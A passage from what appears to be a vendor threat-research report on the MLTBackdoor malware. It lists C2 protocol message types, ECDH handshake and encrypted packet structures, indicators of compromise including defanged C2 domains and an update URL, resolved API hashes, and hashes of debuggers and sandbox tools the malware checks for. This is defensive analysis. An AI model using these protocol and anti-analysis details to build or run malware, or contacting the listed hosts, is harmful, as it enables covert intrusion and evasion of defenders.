};The magic bytes are 0x014D4C54 (or x01MLT). The session_id consists of 4 random bytes generated via BCryptGenRandom (regenerated on each handshake). The supported msg_type values are shown in the table below:DirectionMessage TypeDescriptionClient -> Server1Check-in containing host information.Server -> Client2Sends a BOF task.Server -> Client3Sends a sleep command.Server -> Client4Exit process.Client -> Server5Command execution result.Both directions6Elliptic-Curve Diffie–Hellman (ECDH) key exchange.Server -> Client 7Download file.Client -> Server8File data sent.Server -> Client9Upload file.Server -> Client10Unknown.Server -> Client11ls command.Client -> Server12Directory listing.Server -> Client13delete command.Server -> Client14rename command.Server -> Client15mkdir command.Client -> Server16BOF stdout.Table 6: MLTBackdoor protocol message types.As mentioned above, MLTBackdoor uses ECDH to generate a shared secret that is used as an AES session key. In order to perform the key exchange, MLTBackdoor first sends the session’s P-256 public key to the C2 server with the following structure:struct mlt_handshake_request
{
struct mlt_packet_header;
uint8_t client_p256_x[32];
uint8_t client_p256_y[32];
uint32_t anti_analysis_flags;
};Below, is an example message in this format:Figure 6: Example MLTBackdoor ECDH key exchange message.Once this key exchange is complete, MLTBackdoor uses the shared AES-256-GCM key to encrypt and decrypt subsequent messages. Each packet includes an encrypted payload immediately following the header, using the structure shown below:struct mlt_packet
{
struct mlt_packet_header;
uint8_t ciphertext[payload_len];
uint8_t aes_gcm_tag[16];
}; ConclusionDespite being relatively new, MLTBackdoor is already a formidable post-exploitation malware framework that provides filesystem access capabilities and expandable functionality with a BOF loader. Most MLTBackdoor binaries leverage CFF and MBA to complicate reverse engineering along with techniques to evade malware sandboxes and analysis environments. MLTBackdoor also uses a custom binary encrypted network protocol with a DGA for backup communications to hinder takedown attempts by researchers and law enforcement for additional resiliency. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to MLTBackdoor at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for MLTBackdoor.Figure 8: Zscaler Cloud Sandbox Report for MLTBackdoor.In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to MLTBackdoor at various levels with the following threat names:Win64.Backdoor.MLTBackdoor Indicators Of Compromise (IOCs)SHA256Description1e41c7bfaa6aa3b93b6cc024274a10e33f3e12fe7c98c1db387ef8927f9d1984Stage one loader.46b2155c1e71b840d4b7a2e94410b89a61e2446523e6f497206d402eb02e0e93Archive with stage one loader and encrypted MLTBackdoor.9e52cc90cff150abe21f0a6440e86e0a99ff383b81061b96def8948e21d0ac66MLTBackdoor with domains and DGA.ced6b0f44410f6133ad63b61e04613a8b56cc3338d7b34497540e9541163e7ecMLTBackdoor DGA only.1d09357b6a096fdc35cd5c873eed15665d6b3c879d20c8cf01e6bca0005512cfMLTBackdoor DGA only.2cd88d5280a61714836f5f07a16df190911c5b952af2998dbbcda910b3b1c494MLTBackdoor domains only.d34e4038c5c80728f9648ba84833f69bc1ccea82e2e8e748b7b7f02fb687b92bMLTBackdoor update sideload archive. DomainDescriptionhrs2y15sungu[.]comDGA domain also used in the distribution campaign.carrolc[.]comMLTBackdoor C2.cwrtwright[.]comMLTBackdoor C2.thomphon[.]comMLTBackdoor C2.powwowski[.]com/payloads/update.zipMLTBackdoor update URL. AppendixDJB2 resolved hashes for Nt* API callsDJB2 HashNt* API0x6793C34CNtAllocateVirtualMemory0x082962C8NtProtectVirtualMemory0x471AA7E9NtFreeVirtualMemory0x95F3A792NtWriteVirtualMemory0xCB0C2130NtCreateThreadEx0xD034FC62NtQueryInformationProcess0xEE4F73A8NtQuerySystemInformation0x5003C058NtOpenProcess0x8B8E133DNtClose0x7EB77B17NtTraceControl0x308BE0D0NtSetContextThread0x9E0E1A44NtGetContextThread0x0A49084ANtDelayExecution0xC29C5019NtOpenFile0xD02E20D0NtCreateSection0x231F196ANtMapViewOfSection0x595014ADNtUnmapViewOfSection0x780A612CNtContinue0x7BD07459NtOpenProcessToken0x2CE5A244NtQueryInformationToken0xA9053F72NtQueryDirectoryFile0x15A5ECDBNtCreateFile0x2E979AE3NtReadFile0x5DBF4A84NtCreateKey0x4BB73E02NtOpenKey0xF52D5359NtSetValueKey0x1B63A200NtDeleteValueKey0xF71037E3NtDeleteKey0x4725F863NtQueryInformationFile0x6E88B479NtSetInformationFile0xD69326B2NtWriteFileCracked SHA256 hashes used to identify running processesSHA256Process Name9e8777661a1ad9c983f03060f0a04a3244daac8c3639b3eb1bbce29355bc6c10x64dbg.exee063358d88290c5d05d58594da341690024cf7fa57408a3874899f10e56d8bc8x32dbg.exe9c8384f93b9d347a716ea3e55b9a01250473f667b95d467126c048256b0049e9ollydbg.exeed80408eb9092301e628791e7a9a2e86c6f496a9afd7b56d7c1a1684b1b87251windbg.exe57cfa4cbf3d6cbd13973bbf0625bfa6d20677abb0a6e6bec9a6bf587799b56faida.exeb2e1f5aedb049092135e90c153f5bd386aa81cd2df355d90912dcba33c3176e5ida64.exed51ce268a585657226510586e47c58a47cee2f2bf2049008760c58dc4e6ba650procmon.exe75635009a00cb26d2f532ad974ede59785a18e4b30132a1f585108589394ba5aprocmon64.exea5a5b6257304eefe5212edfd8c0ad27f77357c5046a7acb8eb7ba72ed4bad9e0procexp.exe0ca2edf9982f58e63cc49ba69fb9a88762d1f220ed9482810b512d4add0f8f0bprocexp64.exeac66c2d47cdefb221822b9074c9810434e8da702a0694139aa9177557e6b292bwireshark.exed8f291a459c1acc53f9c8dccb1049bfe2d3b00c7a86d50542dc7fd7b0628ea6afiddler.exeab0541672b57cd3b7e8c973fb9fcbecd18b7fe14c1c2f571e7a2f2921919b500pestudio.exefe8557d454adc7a91162495628d269738b92b4b5d7e5d620fc3f38c27a9a41a7dnspy.exefc8649547ad0ece93ad82de75cb6b875be0873774de89b78546c9a66d2043087vmtoolsd.exe6870e3bbf2447c96d21682caf943cf31c2e8c21c8cfb91a5092eab1c9e5f19aevboxservice.exe0f7463aecc3920f9e2b32ab9d77861a9e69a3e8aa28d06b4602195623312331ddf5serv.exeb32461077b2e04145b87e9b5177a331dfd2248b81570aa96b9a302dffe643f70cffexplorer.exe687968b820fd7a6bedb03d644410c663b1720ad76519e2dcf98d61df498470dfautoruns.exe4c357a29b202b77e7db190d359ead2dfd3f8869c6808b96bfa8bee82525bb2a2tcpview.exe “}]]